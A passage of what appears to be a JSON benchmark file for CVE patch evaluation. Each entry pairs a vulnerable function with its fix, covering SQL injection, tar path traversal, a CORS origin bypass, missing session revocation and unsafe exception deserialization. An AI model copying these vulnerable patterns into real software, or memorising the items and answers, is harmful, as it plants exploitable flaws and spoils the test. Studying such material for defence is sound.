})(args[0]);\n break;\n }\n var cmd_to_exec = args[0];\n args.shift();\n spawn(cmd_to_exec, args);\n};" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-16042" }, { "cve_id": "CVE-2023-33967", "cve_description": "EaseProbe's MySQL and PostgreSQL data-checking probes build SQL statements from configured data keys whose components identify the database, table, selected field, lookup key, and expected value. The identifier components of those data keys are attacker- or operator-controlled configuration input, but they are concatenated directly into SQL query strings and, for PostgreSQL, also influence the selected database connection. An attacker who can supply or modify these data-checking entries can inject identifier-closing characters or SQL syntax so that the generated query no longer treats the input as identifiers, potentially altering the health-check query, bypassing checks, reading unintended data, or executing destructive SQL depending on database behavior and permissions.", "cwe_info": { "CWE-89": { "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." } }, "repo": "https://github.com/megaease/easeprobe", "patch_url": [ "https://github.com/megaease/easeprobe/commit/caaf5860df2aaa76acd29bc40ec9a578d0b1d6e1" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_26_2", "commit": "0e148b8", "file_path": "probe/client/mysql/mysql.go", "start_line": 156, "end_line": 176, "snippet": "func (r *MySQL) getSQL(str string) (string, error) {\n\tif len(strings.TrimSpace(str)) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n\t}\n\tfields := strings.Split(str, \":\")\n\tif len(fields) != 5 {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n\t}\n\tdb := fields[0]\n\ttable := fields[1]\n\tfield := fields[2]\n\tkey := fields[3]\n\tvalue := fields[4]\n\t//check value is int or not\n\tif _, err := strconv.Atoi(value); err != nil {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n\t}\n\n\tsql := fmt.Sprintf(\"SELECT %s FROM %s.%s WHERE %s = %s\", field, db, table, key, value)\n\treturn sql, nil\n}", "vul_localization": [ { "patch_lines": [ 9, 13 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_26_1", "commit": "caaf586", "file_path": "probe/client/mysql/mysql.go", "start_line": 171, "end_line": 191, "snippet": "func (r *MySQL) getSQL(str string) (string, error) {\n\tif len(strings.TrimSpace(str)) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n\t}\n\tfields := strings.Split(str, \":\")\n\tif len(fields) != 5 {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n\t}\n\tdb := global.EscapeQuote(fields[0])\n\ttable := global.EscapeQuote(fields[1])\n\tfield := global.EscapeQuote(fields[2])\n\tkey := global.EscapeQuote(fields[3])\n\tvalue := global.EscapeQuote(fields[4])\n\t//check value is int or not\n\tif _, err := strconv.Atoi(value); err != nil {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n\t}\n\n\tsql := fmt.Sprintf(\"SELECT `%s` FROM `%s`.`%s` WHERE `%s` = %s\", field, db, table, key, value)\n\treturn sql, nil\n}" }, { "id": "fix_go_26_2", "commit": "caaf586", "file_path": "global/global.go", "start_line": 314, "end_line": 332, "snippet": "\n// EscapeQuote escape the string the single quote, double quote, and backtick\nfunc EscapeQuote(str string) string {\n\ttype Escape struct {\n\t\tFrom string\n\t\tTo string\n\t}\n\tescape := []Escape{\n\t\t{From: \"`\", To: \"\"}, // remove the backtick\n\t\t{From: `\\`, To: `\\\\`},\n\t\t{From: `'`, To: `\\'`},\n\t\t{From: `\"`, To: `\\\"`},\n\t}\n\n\tfor _, e := range escape {\n\t\tstr = strings.ReplaceAll(str, e.From, e.To)\n\t}\n\treturn str\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-33967" }, { "cve_id": "CVE-2024-21542", "cve_description": "Versions of the package luigi before 3.6.0 are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) due to improper destination file path validation in the _extract_packages_archive function.", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/spotify/luigi", "patch_url": [ "https://github.com/spotify/luigi/commit/b5d1b965ead7d9f777a3216369b5baf23ec08999" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_36_1", "commit": "c9a0d20", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 47, "end_line": 62, "snippet": "def extract_packages_archive(work_dir):\n package_file = os.path.join(work_dir, \"packages.tar\")\n if not os.path.exists(package_file):\n return\n\n curdir = os.path.abspath(os.curdir)\n\n os.chdir(work_dir)\n tar = tarfile.open(package_file)\n for tarinfo in tar:\n tar.extract(tarinfo)\n tar.close()\n if '' not in sys.path:\n sys.path.insert(0, '')\n\n os.chdir(curdir)", "vul_localization": [ { "patch_lines": [ 9, 10, 11, 12 ], "tag": "modify" } ] }, { "id": "vul_py_36_2", "commit": "c9a0d20", "file_path": "luigi/contrib/sge_runner.py", "start_line": 59, "end_line": 74, "snippet": "def _extract_packages_archive(work_dir):\n package_file = os.path.join(work_dir, \"packages.tar\")\n if not os.path.exists(package_file):\n return\n\n curdir = os.path.abspath(os.curdir)\n\n os.chdir(work_dir)\n tar = tarfile.open(package_file)\n for tarinfo in tar:\n tar.extract(tarinfo)\n tar.close()\n if '' not in sys.path:\n sys.path.insert(0, '')\n\n os.chdir(curdir)", "vul_localization": [ { "patch_lines": [ 9, 10, 11, 12 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_36_1", "commit": "b5d1b96", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 31, "end_line": 31, "snippet": "from luigi.safe_extractor import SafeExtractor" }, { "id": "fix_py_36_2", "commit": "b5d1b96", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 47, "end_line": 60, "snippet": "def extract_packages_archive(work_dir):\n package_file = os.path.join(work_dir, \"packages.tar\")\n if not os.path.exists(package_file):\n return\n\n curdir = os.path.abspath(os.curdir)\n\n os.chdir(work_dir)\n extractor = SafeExtractor(work_dir)\n extractor.safe_extract(package_file)\n if '' not in sys.path:\n sys.path.insert(0, '')\n\n os.chdir(curdir)" }, { "id": "fix_py_36_3", "commit": "b5d1b96", "file_path": "luigi/contrib/sge_runner.py", "start_line": 39, "end_line": 39, "snippet": "from luigi.safe_extractor import SafeExtractor" }, { "id": "fix_py_36_4", "commit": "b5d1b96", "file_path": "luigi/contrib/sge_runner.py", "start_line": 59, "end_line": 72, "snippet": "def _extract_packages_archive(work_dir):\n package_file = os.path.join(work_dir, \"packages.tar\")\n if not os.path.exists(package_file):\n return\n\n curdir = os.path.abspath(os.curdir)\n\n os.chdir(work_dir)\n extractor = SafeExtractor(work_dir)\n extractor.safe_extract(package_file)\n if '' not in sys.path:\n sys.path.insert(0, '')\n\n os.chdir(curdir)" }, { "id": "fix_py_36_5", "commit": "b5d1b96", "file_path": "luigi/safe_extractor.py", "start_line": 1, "end_line": 97, "snippet": "# -*- coding: utf-8 -*-\n#\n# Copyright 2012-2015 Spotify AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\nThis module provides a class `SafeExtractor` that offers a secure way to extract tar files while\nmitigating path traversal vulnerabilities, which can occur when files inside the archive are\ncrafted to escape the intended extraction directory.\n\nThe `SafeExtractor` ensures that the extracted file paths are validated before extraction to\nprevent malicious archives from extracting files outside the intended directory.\n\nClasses:\n SafeExtractor: A class to securely extract tar files with protection against path traversal attacks.\n\nUsage Example:\n extractor = SafeExtractor(\"/desired/directory\")\n extractor.safe_extract(\"archive.tar\")\n\"\"\"\n\nimport os\nimport tarfile\n\n\nclass SafeExtractor:\n \"\"\"\n A class to safely extract tar files, ensuring that no path traversal\n vulnerabilities are exploited.\n\n Attributes:\n path (str): The directory to extract files into.\n\n Methods:\n _is_within_directory(directory, target):\n Checks if a target path is within a given directory.\n\n safe_extract(tar_path, members=None, \\\\*, numeric_owner=False):\n Safely extracts the contents of a tar file to the specified directory.\n \"\"\"\n\n def __init__(self, path=\".\"):\n \"\"\"\n Initializes the SafeExtractor with the specified directory path.\n\n Args:\n path (str): The directory to extract files into. Defaults to the current directory.\n \"\"\"\n self.path = path\n\n @staticmethod\n def _is_within_directory(directory, target):\n \"\"\"\n Checks if a target path is within a given directory.\n\n Args:\n directory (str): The directory to check against.\n target (str): The target path to check.\n\n Returns:\n bool: True if the target path is within the directory, False otherwise.\n \"\"\"\n abs_directory = os.path.abspath(directory)\n abs_target = os.path.abspath(target)\n prefix = os.path.commonprefix([abs_directory, abs_target])\n return prefix == abs_directory\n\n def safe_extract(self, tar_path, members=None, *, numeric_owner=False):\n \"\"\"\n Safely extracts the contents of a tar file to the specified directory.\n\n Args:\n tar_path (str): The path to the tar file to extract.\n members (list, optional): A list of members to extract. Defaults to None.\n numeric_owner (bool, optional): If True, only the numeric owner will be used. Defaults to False.\n\n Raises:\n RuntimeError: If a path traversal attempt is detected.\n \"\"\"\n with tarfile.open(tar_path, 'r') as tar:\n for member in tar.getmembers():\n member_path = os.path.join(self.path, member.name)\n if not self._is_within_directory(self.path, member_path):\n raise RuntimeError(\"Attempted Path Traversal in Tar File\")\n tar.extractall(self.path, members, numeric_owner=numeric_owner)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-21542" }, { "cve_id": "CVE-2022-1883", "cve_description": "SQL Injection in GitHub repository camptocamp/terraboard prior to 2.2.0.", "cwe_info": { "CWE-89": { "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." } }, "repo": "https://github.com/camptocamp/terraboard", "patch_url": [ "https://github.com/camptocamp/terraboard/commit/2a5dbaac015dc0714b41a59995e24f5767f89ddc" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_31_1", "commit": "608d9d5", "file_path": "db/db.go", "start_line": 323, "end_line": 411, "snippet": "func (db *Database) SearchAttribute(query url.Values) (results []types.SearchResult, page int, total int) {\n\tlog.WithFields(log.Fields{\n\t\t\"query\": query,\n\t}).Info(\"Searching for attribute with query\")\n\n\ttargetVersion := string(query.Get(\"versionid\"))\n\n\tsqlQuery := \"\"\n\tif targetVersion == \"\" {\n\t\tsqlQuery += \" FROM (SELECT states.path, max(states.serial) as mx FROM states GROUP BY states.path) t\" +\n\t\t\t\" JOIN states ON t.path = states.path AND t.mx = states.serial\"\n\t} else {\n\t\tsqlQuery += \" FROM states\"\n\t}\n\n\tsqlQuery += \" JOIN modules ON states.id = modules.state_id\" +\n\t\t\" JOIN resources ON modules.id = resources.module_id\" +\n\t\t\" JOIN attributes ON resources.id = attributes.resource_id\" +\n\t\t\" JOIN lineages ON lineages.id = states.lineage_id\" +\n\t\t\" JOIN versions ON states.version_id = versions.id\"\n\n\tvar where []string\n\tvar params []interface{}\n\tif targetVersion != \"\" && targetVersion != \"*\" {\n\t\t// filter by version unless we want all (*) or most recent (\"\")\n\t\twhere = append(where, \"states.version_id = ?\")\n\t\tparams = append(params, targetVersion)\n\t}\n\n\tif v := string(query.Get(\"type\")); v != \"\" {\n\t\twhere = append(where, \"resources.type LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"name\")); v != \"\" {\n\t\twhere = append(where, \"resources.name LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"key\")); v != \"\" {\n\t\twhere = append(where, \"attributes.key LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"value\")); v != \"\" {\n\t\twhere = append(where, \"attributes.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"tf_version\"); string(v) != \"\" {\n\t\twhere = append(where, fmt.Sprintf(\"states.tf_version LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n\t}\n\n\tif v := query.Get(\"lineage_value\"); string(v) != \"\" {\n\t\twhere = append(where, fmt.Sprintf(\"lineages.value LIKE '%s'\", fmt.Sprintf(\"%%%s%%\", v)))\n\t}\n\n\tif len(where) > 0 {\n\t\tsqlQuery += \" WHERE \" + strings.Join(where, \" AND \")\n\t}\n\n\t// Count everything\n\trow := db.Raw(\"SELECT count(*)\"+sqlQuery, params...).Row()\n\tif err := row.Scan(&total); err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\t// Now get results\n\t// gorm doesn't support subqueries...\n\tsql := \"SELECT states.path, versions.version_id, states.tf_version, states.serial, lineages.value as lineage_value, modules.path as module_path, resources.type, resources.name, resources.index, attributes.key, attributes.value\" +\n\t\tsqlQuery +\n\t\t\" ORDER BY states.path, states.serial, lineage_value, modules.path, resources.type, resources.name, resources.index, attributes.key\" +\n\t\t\" LIMIT ?\"\n\n\tparams = append(params, pageSize)\n\n\tif v := string(query.Get(\"page\")); v != \"\" {\n\t\tpage, _ = strconv.Atoi(v) // TODO: err\n\t\to := (page - 1) * pageSize\n\t\tsql += \" OFFSET ?\"\n\t\tparams = append(params, o)\n\t} else {\n\t\tpage = 1\n\t}\n\n\tdb.Raw(sql, params...).Find(&results)\n\n\treturn\n}", "vul_localization": [ { "patch_lines": [ 51 ], "tag": "modify" }, { "patch_lines": [ 55 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_31_1", "commit": "2a5dbaa", "file_path": "db/db.go", "start_line": 323, "end_line": 413, "snippet": "func (db *Database) SearchAttribute(query url.Values) (results []types.SearchResult, page int, total int) {\n\tlog.WithFields(log.Fields{\n\t\t\"query\": query,\n\t}).Info(\"Searching for attribute with query\")\n\n\ttargetVersion := string(query.Get(\"versionid\"))\n\n\tsqlQuery := \"\"\n\tif targetVersion == \"\" {\n\t\tsqlQuery += \" FROM (SELECT states.path, max(states.serial) as mx FROM states GROUP BY states.path) t\" +\n\t\t\t\" JOIN states ON t.path = states.path AND t.mx = states.serial\"\n\t} else {\n\t\tsqlQuery += \" FROM states\"\n\t}\n\n\tsqlQuery += \" JOIN modules ON states.id = modules.state_id\" +\n\t\t\" JOIN resources ON modules.id = resources.module_id\" +\n\t\t\" JOIN attributes ON resources.id = attributes.resource_id\" +\n\t\t\" JOIN lineages ON lineages.id = states.lineage_id\" +\n\t\t\" JOIN versions ON states.version_id = versions.id\"\n\n\tvar where []string\n\tvar params []interface{}\n\tif targetVersion != \"\" && targetVersion != \"*\" {\n\t\t// filter by version unless we want all (*) or most recent (\"\")\n\t\twhere = append(where, \"states.version_id = ?\")\n\t\tparams = append(params, targetVersion)\n\t}\n\n\tif v := string(query.Get(\"type\")); v != \"\" {\n\t\twhere = append(where, \"resources.type LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"name\")); v != \"\" {\n\t\twhere = append(where, \"resources.name LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"key\")); v != \"\" {\n\t\twhere = append(where, \"attributes.key LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := string(query.Get(\"value\")); v != \"\" {\n\t\twhere = append(where, \"attributes.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"tf_version\"); string(v) != \"\" {\n\t\twhere = append(where, \"states.tf_version LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif v := query.Get(\"lineage_value\"); string(v) != \"\" {\n\t\twhere = append(where, \"lineages.value LIKE ?\")\n\t\tparams = append(params, fmt.Sprintf(\"%%%s%%\", v))\n\t}\n\n\tif len(where) > 0 {\n\t\tsqlQuery += \" WHERE \" + strings.Join(where, \" AND \")\n\t}\n\n\t// Count everything\n\trow := db.Raw(\"SELECT count(*)\"+sqlQuery, params...).Row()\n\tif err := row.Scan(&total); err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\t// Now get results\n\t// gorm doesn't support subqueries...\n\tsql := \"SELECT states.path, versions.version_id, states.tf_version, states.serial, lineages.value as lineage_value, modules.path as module_path, resources.type, resources.name, resources.index, attributes.key, attributes.value\" +\n\t\tsqlQuery +\n\t\t\" ORDER BY states.path, states.serial, lineage_value, modules.path, resources.type, resources.name, resources.index, attributes.key\" +\n\t\t\" LIMIT ?\"\n\n\tparams = append(params, pageSize)\n\n\tif v := string(query.Get(\"page\")); v != \"\" {\n\t\tpage, _ = strconv.Atoi(v) // TODO: err\n\t\to := (page - 1) * pageSize\n\t\tsql += \" OFFSET ?\"\n\t\tparams = append(params, o)\n\t} else {\n\t\tpage = 1\n\t}\n\n\tdb.Raw(sql, params...).Find(&results)\n\n\treturn\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-1883" }, { "cve_id": "CVE-2024-27302", "cve_description": "go-zero is a web and rpc framework. Go-zero allows user to specify a CORS Filter with a configurable allows param - which is an array of domains allowed in CORS policy. However, the `isOriginAllowed` uses `strings.HasSuffix` to check the origin, which leads to bypass via a malicious domain. This vulnerability is capable of breaking CORS policy and thus allowing any page to make requests and/or retrieve data on behalf of other users. Version 1.4.4 fixes this issue.", "cwe_info": { "CWE-862": { "name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action." }, "CWE-639": { "name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data." } }, "repo": "https://github.com/zeromicro/go-zero", "patch_url": [ "https://github.com/zeromicro/go-zero/commit/d9d79e930dff6218a873f4f02115df61c38b15db" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_11_1", "commit": "d953675", "file_path": "rest/internal/cors/handlers.go", "start_line": 79, "end_line": 91, "snippet": "func isOriginAllowed(allows []string, origin string) bool {\n\tfor _, o := range allows {\n\t\tif o == allOrigins {\n\t\t\treturn true\n\t\t}\n\n\t\tif strings.HasSuffix(origin, o) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "vul_localization": [ { "patch_lines": [ 2, 3 ], "tag": "modify" }, { "patch_lines": [ 7 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_11_1", "commit": "d9d79e9", "file_path": "rest/internal/cors/handlers.go", "start_line": 79, "end_line": 97, "snippet": "func isOriginAllowed(allows []string, origin string) bool {\n\torigin = strings.ToLower(origin)\n\tfor _, allow := range allows {\n\t\tif allow == allOrigins {\n\t\t\treturn true\n\t\t}\n\n\t\tallow = strings.ToLower(allow)\n\t\tif origin == allow {\n\t\t\treturn true\n\t\t}\n\n\t\tif strings.HasSuffix(origin, \".\"+allow) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-27302" }, { "cve_id": "CVE-2022-41672", "cve_description": "In Apache Airflow, prior to version 2.4.1, deactivating a user wouldn't prevent an already authenticated user from being able to continue using the UI or API.", "cwe_info": { "CWE-285": { "name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action." }, "CWE-250": { "name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses." }, "CWE-269": { "name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor." } }, "repo": "https://github.com/apache/airflow", "patch_url": [ "https://github.com/apache/airflow/commit/12bfb571a895a28a58d3189b0fc10cfc1b89e24c" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_27_1", "commit": "d81b297", "file_path": "airflow/www/app.py", "start_line": 72, "end_line": 155, "snippet": "def create_app(config=None, testing=False):\n \"\"\"Create a new instance of Airflow WWW app\"\"\"\n flask_app = Flask(__name__)\n flask_app.secret_key = conf.get('webserver', 'SECRET_KEY')\n\n flask_app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n flask_app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n flask_app.config['APP_NAME'] = conf.get(section=\"webserver\", key=\"instance_name\", fallback=\"Airflow\")\n flask_app.config['TESTING'] = testing\n flask_app.config['SQLALCHEMY_DATABASE_URI'] = conf.get('database', 'SQL_ALCHEMY_CONN')\n\n url = make_url(flask_app.config['SQLALCHEMY_DATABASE_URI'])\n if url.drivername == 'sqlite' and url.database and not url.database.startswith('/'):\n raise AirflowConfigException(\n f'Cannot use relative path: `{conf.get(\"database\", \"SQL_ALCHEMY_CONN\")}` to connect to sqlite. '\n 'Please use absolute path such as `sqlite:////tmp/airflow.db`.'\n )\n\n flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n flask_app.config['SESSION_COOKIE_HTTPONLY'] = True\n flask_app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n\n cookie_samesite_config = conf.get('webserver', 'COOKIE_SAMESITE')\n if cookie_samesite_config == \"\":\n warnings.warn(\n \"Old deprecated value found for `cookie_samesite` option in `[webserver]` section. \"\n \"Using `Lax` instead. Change the value to `Lax` in airflow.cfg to remove this warning.\",\n RemovedInAirflow3Warning,\n )\n cookie_samesite_config = \"Lax\"\n flask_app.config['SESSION_COOKIE_SAMESITE'] = cookie_samesite_config\n\n if config:\n flask_app.config.from_mapping(config)\n\n if 'SQLALCHEMY_ENGINE_OPTIONS' not in flask_app.config:\n flask_app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n # Configure the JSON encoder used by `|tojson` filter from Flask\n flask_app.json_provider_class = AirflowJsonProvider\n flask_app.json = AirflowJsonProvider(flask_app)\n\n csrf.init_app(flask_app)\n\n init_wsgi_middleware(flask_app)\n\n db = SQLA()\n db.session = settings.Session\n db.init_app(flask_app)\n\n init_dagbag(flask_app)\n\n init_api_experimental_auth(flask_app)\n\n init_robots(flask_app)\n\n cache_config = {'CACHE_TYPE': 'flask_caching.backends.filesystem', 'CACHE_DIR': gettempdir()}\n Cache(app=flask_app, config=cache_config)\n\n init_flash_views(flask_app)\n\n configure_logging()\n configure_manifest_files(flask_app)\n\n import_all_models()\n\n with flask_app.app_context():\n init_appbuilder(flask_app)\n\n init_appbuilder_views(flask_app)\n init_appbuilder_links(flask_app)\n init_plugins(flask_app)\n init_connection_form()\n init_error_handlers(flask_app)\n init_api_connexion(flask_app)\n init_api_experimental(flask_app)\n\n sync_appbuilder_roles(flask_app)\n\n init_jinja_globals(flask_app)\n init_xframe_protection(flask_app)\n init_airflow_session_interface(flask_app)\n return flask_app", "vul_localization": [ { "patch_lines": [ 83 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_py_27_1", "commit": "12bfb57", "file_path": "airflow/www/app.py", "start_line": 76, "end_line": 160, "snippet": "def create_app(config=None, testing=False):\n \"\"\"Create a new instance of Airflow WWW app\"\"\"\n flask_app = Flask(__name__)\n flask_app.secret_key = conf.get('webserver', 'SECRET_KEY')\n\n flask_app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n flask_app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n flask_app.config['APP_NAME'] = conf.get(section=\"webserver\", key=\"instance_name\", fallback=\"Airflow\")\n flask_app.config['TESTING'] = testing\n flask_app.config['SQLALCHEMY_DATABASE_URI'] = conf.get('database', 'SQL_ALCHEMY_CONN')\n\n url = make_url(flask_app.config['SQLALCHEMY_DATABASE_URI'])\n if url.drivername == 'sqlite' and url.database and not url.database.startswith('/'):\n raise AirflowConfigException(\n f'Cannot use relative path: `{conf.get(\"database\", \"SQL_ALCHEMY_CONN\")}` to connect to sqlite. '\n 'Please use absolute path such as `sqlite:////tmp/airflow.db`.'\n )\n\n flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n flask_app.config['SESSION_COOKIE_HTTPONLY'] = True\n flask_app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n\n cookie_samesite_config = conf.get('webserver', 'COOKIE_SAMESITE')\n if cookie_samesite_config == \"\":\n warnings.warn(\n \"Old deprecated value found for `cookie_samesite` option in `[webserver]` section. \"\n \"Using `Lax` instead. Change the value to `Lax` in airflow.cfg to remove this warning.\",\n RemovedInAirflow3Warning,\n )\n cookie_samesite_config = \"Lax\"\n flask_app.config['SESSION_COOKIE_SAMESITE'] = cookie_samesite_config\n\n if config:\n flask_app.config.from_mapping(config)\n\n if 'SQLALCHEMY_ENGINE_OPTIONS' not in flask_app.config:\n flask_app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n # Configure the JSON encoder used by `|tojson` filter from Flask\n flask_app.json_provider_class = AirflowJsonProvider\n flask_app.json = AirflowJsonProvider(flask_app)\n\n csrf.init_app(flask_app)\n\n init_wsgi_middleware(flask_app)\n\n db = SQLA()\n db.session = settings.Session\n db.init_app(flask_app)\n\n init_dagbag(flask_app)\n\n init_api_experimental_auth(flask_app)\n\n init_robots(flask_app)\n\n cache_config = {'CACHE_TYPE': 'flask_caching.backends.filesystem', 'CACHE_DIR': gettempdir()}\n Cache(app=flask_app, config=cache_config)\n\n init_flash_views(flask_app)\n\n configure_logging()\n configure_manifest_files(flask_app)\n\n import_all_models()\n\n with flask_app.app_context():\n init_appbuilder(flask_app)\n\n init_appbuilder_views(flask_app)\n init_appbuilder_links(flask_app)\n init_plugins(flask_app)\n init_connection_form()\n init_error_handlers(flask_app)\n init_api_connexion(flask_app)\n init_api_experimental(flask_app)\n\n sync_appbuilder_roles(flask_app)\n\n init_jinja_globals(flask_app)\n init_xframe_protection(flask_app)\n init_airflow_session_interface(flask_app)\n init_check_user_active(flask_app)\n return flask_app" }, { "id": "fix_py_27_2", "commit": "12bfb57", "file_path": "airflow/www/extensions/init_security.py", "start_line": 68, "end_line": 73, "snippet": "def init_check_user_active(app):\n @app.before_request\n def check_user_active():\n if g.user is not None and not g.user.is_anonymous and not g.user.is_active:\n logout_user()\n return redirect(url_for(app.appbuilder.sm.auth_view.endpoint + \".login\"))" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-41672" }, { "cve_id": "CVE-2021-23727", "cve_description": "Celery's result backend exception deserialization trusts exception metadata read from the backend. In BaseBackend.exception_to_python, attacker-controlled backend fields such as exc_module, exc_type, and exc_message can cause Celery to resolve and instantiate an arbitrary Python object instead of a real exception class. If an attacker can write or tamper with task result metadata in a Celery backend, this can turn stored backend data into execution of attacker-selected callables, including command-execution sinks, or cause non-exception objects to be treated as task exceptions.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/celery/celery", "patch_url": [ "https://github.com/celery/celery/commit/1f7ad7e6df1e02039b6ab9eec617d283598cad6b" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_41_1", "commit": "2d8dbc2", "file_path": "celery/backends/base.py", "start_line": 339, "end_line": 369, "snippet": " def exception_to_python(self, exc):\n \"\"\"Convert serialized exception to Python exception.\"\"\"\n if exc:\n if not isinstance(exc, BaseException):\n exc_module = exc.get('exc_module')\n if exc_module is None:\n cls = create_exception_cls(\n from_utf8(exc['exc_type']), __name__)\n else:\n exc_module = from_utf8(exc_module)\n exc_type = from_utf8(exc['exc_type'])\n try:\n # Load module and find exception class in that\n cls = sys.modules[exc_module]\n # The type can contain qualified name with parent classes\n for name in exc_type.split('.'):\n cls = getattr(cls, name)\n except (KeyError, AttributeError):\n cls = create_exception_cls(exc_type,\n celery.exceptions.__name__)\n exc_msg = exc['exc_message']\n try:\n if isinstance(exc_msg, (tuple, list)):\n exc = cls(*exc_msg)\n else:\n exc = cls(exc_msg)\n except Exception 